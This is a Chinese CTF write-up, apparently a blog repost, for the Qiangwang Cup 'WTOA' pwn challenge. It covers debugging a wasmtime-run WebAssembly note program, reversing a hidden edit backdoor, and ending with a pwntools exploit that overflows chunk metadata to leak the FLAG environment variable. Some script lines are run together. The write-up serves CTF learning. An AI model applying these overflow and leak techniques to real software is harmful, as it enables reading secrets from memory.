当前位置: 首页 > news >正文

第七届强网杯-PWN-【WTOA】

文章目录

  • 参考
  • WebAssembly
  • Wasmtime
  • 调试
  • 逆向源码
  • exp

参考

WebAssembly实践指南——C++和Rust通过wasmtime实现相互调用实例

WebAssembly

WebAssembly是一种可移植的二进制指令集格式,其本身与平台无关,类似于Java的class文件字节码。

WebAssembly本来的设计初衷是想让浏览器可以运行C语言这种编译型语言的代码。通常我们的C语言代码会使用gcc或clang等编译器直接编译链接成与平台相关的二进制可执行文件,这种与平台相关的二进制文件浏览器是无法直接运行的。如果想让浏览器运行C语言代码,就需要使用可将C语言编译成WebAssembly指令的编译器,编译好的代码是wasm格式。然后就可以使用各种wasm运行时来执行wasm代码,这就类似于JVM虚拟机执行class文件。

由于指令集和运行时环境本身与web场景并不绑定,因此随着后来的发展,WebAssembly指令集出现了可以脱离浏览器的独立运行时环境,WebAssembly的用途也变得更加广泛。

Wasmtime

相比于浏览器的运行时,wasmtime是一个独立运行时环境,它可以脱离Web环境来执行wasm代码。它本身提供了命令行工具和API两种方式来执行wasm代码。

启动时候flag作为环境变量在内存,这里是通过AOT 编译wasm 代码为ELF,所以通过 --allow-precompiled来运行

./wasmtime run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa

调试

gdb ./wasmtime 
set args  run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa

发现flag和add后输入的content很接近

pwndbg> search flag{
Searching for value: 'flag{'
[heap]          0x555556fac865 'flag{zhiyinnitaimei}@'
[heap]          0x555556fc91c0 'flag{zhiyinnitaimei}'
[anon_7ffe77bb3] 0x7ffe780b2b40 'flag{zhiyinnitaimei}'
[anon_7ffe77bb3] 0x7ffe780b2c6d 'flag{zhiyinnitaimei}'
[stack]         0x7fffffffe19b 'flag{zhiyinnitaimei}'
pwndbg> search aaaaaaaa
Searching for value: 'aaaaaaaa'
[anon_7ffe77bb3] 0x7ffe780b2cc0 'aaaaaaaa'
pwndbg> distance 0x7ffe780b2cc0-0x7ffe780b2c6d
0x53 does not belong to a mapped page in memory
pwndbg> distance 0x7ffe780b2cc0-0x7ffe780b2b40
0x180 does not belong to a mapped page in memory
pwndbg> 

wtoa的代码段是在wtoa偏移0x1000开始,所以记得函数断点0x7ffff7bfc000+IDA中的地址-0x1000

  0x7ffff7bfc000     0x7ffff7c08000 r-xp     c000   1000 /home/llk/Desktop/pwn/attachment/glibc_pwn/2023qwb_WTOA/WTOA/wtoa

逆向源码

把wasm格式文件放入IDA

IDA View->Graphs->Function Calls

找到分支比较多的可能是主函数,然后查看,并结合调试和字符串定位来逆向
在这里插入图片描述

调试发现输入Add后如下,应该只能截取两个字节,然后高字节减去A来得到对应的choice,并且flag在下面不远处

 0x7ffff7bfd337    call   0x7ffff7bfeef0              <0x7ffff7bfeef0>► 0x7ffff7bfd33c    movsx  r8, byte ptr [rbx + r15 + 0x10]     R8, [0x7ffe780b2b20] => 0x410x7ffff7bfd342    add    r8d, -0x41                          R8D => 0 (0x41 + 0xffffffffffffffbf)x/40s 0x7ffe780b2b20
0x7ffe780b2b20:	"Ad"
0x7ffe780b2b23:	""
0x7ffe780b2b24:	""
0x7ffe780b2b25:	""
0x7ffe780b2b26:	""
0x7ffe780b2b27:	""
0x7ffe780b2b28:	""
0x7ffe780b2b29:	""
0x7ffe780b2b2a:	""
0x7ffe780b2b2b:	""
0x7ffe780b2b2c:	""
0x7ffe780b2b2d:	""
0x7ffe780b2b2e:	""
0x7ffe780b2b2f:	""
0x7ffe780b2b30:	""
0x7ffe780b2b31:	""
0x7ffe780b2b32:	""
0x7ffe780b2b33:	""
0x7ffe780b2b34:	""
0x7ffe780b2b35:	""
0x7ffe780b2b36:	""
0x7ffe780b2b37:	""
0x7ffe780b2b38:	""
0x7ffe780b2b39:	""
0x7ffe780b2b3a:	""
0x7ffe780b2b3b:	""
0x7ffe780b2b3c:	"m\034P"
0x7ffe780b2b40:	"flag{zhiyinnitaimei}"
0x7ffe780b2b55:	""

根据字符串定位时发现没有引用的,后来发现是通过偏移的,发现第 3 个参数原来是 .rodata.wasm 段内的偏移值

 print(v6, v6, 0x46FLL, 0LL);                // size.rodata.wasm:000000000001B46F aSize           db 'size > ',0

然后结合字符串和上下文和动态调试可以猜出所有函数的作用

大概是每次进入函数都会先模拟开辟栈空间,然后调用其中的变量

大致管理如下
在这里插入图片描述
可以发现第0个chunk_struct的content_offset在第1个chunk_struct上面
在这里插入图片描述

结合edit存在的后门,当 len == 0x345231会写48个字节,但只能写一次,所以利用一次得到flag

  getinput(a1, a1, 0LL, v20 - 48, 31);len = set_to_chunk(a1, a1, v20 - 48);*(base + v4 + 36) = len;if ( len == 0x345231 ){if ( *(base + 4016) == 1 ){v14 = *(base + v4 + 44);*(base + v4 + 4) = *(base + v4 + 40);*(base + v4) = v14;print(a1, a1, 0x4DELL, (v20 - 96));     // content for note[%lu] with offset [%lu] >save(a1, a1, *(v19 + 40) + *(base + *(base + (*(base + *(v19 + 92) + 4) + 4 * *(base + v4 + 44)))), 48);*(base + 4016) = 0;goto LABEL_15;}v13 = base + v4;}

根据上述缓存区是在chunk_struct 2上方,结合溢出,可将content_offset起改为flag的偏移,然后show可以泄露处flag,当然长度不够,再把size改大就行
在这里插入图片描述
发现开了随机话后偏移不变,改为flag的偏移即可
在这里插入图片描述

exp

from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p = process('wasmtime run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa'.split(' '))gdb.attach(p)
pause()p.sendlineafter(b"Choice > ",str("A")) 
p.sendlineafter(b"size > ",str("8"))
p.sendlineafter(b"content for note[0] > ",8*str("a"))p.sendlineafter(b"Choice > ",str("A")) 
p.sendlineafter(b"size > ",str("8"))
p.sendlineafter(b"content for note[1] > ",8*str("b"))p.sendlineafter(b"Choice > ",str("E")) 
p.sendlineafter(b"index > ",str("0"))
p.sendlineafter(b"offset > ",str("0"))  
p.sendlineafter(b"length > ",str("3428913"))
p.sendlineafter(b"content for note[0] with offset [0] > ",b"a"*32+p64(0x501b40)+p64(0x20))p.sendlineafter(b"Choice > ",str("S")) 
p.sendlineafter(b"index > ",str("1"))
p.sendlineafter(b"offset > ",str("0"))  
p.sendlineafter(b"length > ",str("32"))p.recvuntil(b"content for note[1] with offset [0] > ")
flag=p.recv(timeout=2)
print(flag)
p.interactive()

在这里插入图片描述


http://www.mrgr.cn/news/5589.html

相关文章:

  • 深夜小灶|如何利用comfyUI生成《黑神话:悟空》风格的建筑效果图
  • LeetCode面试题Day15|LC219 存在重复元素Ⅱ、LC229 汇总区间
  • [RCTF2015]EasySQL1
  • Kuberneters Pod调度基础
  • sqlite blob 数据检索(基于sqlite3_get_table的优化)
  • 如何将TRIZ技术融入到智能家居的产品设计流程中?
  • 【图文并茂】ant design pro 如何优雅奇妙地让创建和更新页面共用一个 form
  • 0x01 GlassFish 任意文件读取漏洞复现
  • 使用 Python和 FFmpeg 批量截图视频到各自文件夹中
  • 【Fiddler】Fiddler抓包工具(详细讲解)_抓包工具fiddler
  • Pulsar官方文档学习笔记——架构概览
  • 芯片后端之 PT 使用 report_timing 产生报告 之 -nets 选项
  • springboot叙州区私厨到家网站---附源码98558
  • flv和 rtmp视频负载类型的差异
  • 使用 PowerShell 自动化 Windows 系统管理任务
  • CoppeliaSim(V-Rep)与ROS1、ROS2接口变迁-2024-
  • burpsuite xssValidator插件(xss插件)
  • 【GH】【EXCEL】P3: Set Conditional Formatting To Excel Data By Gh
  • 旅游巴士(bus)【CSPJ2023】
  • 根据正则表达式生成等价类测试用例的设计和实现思路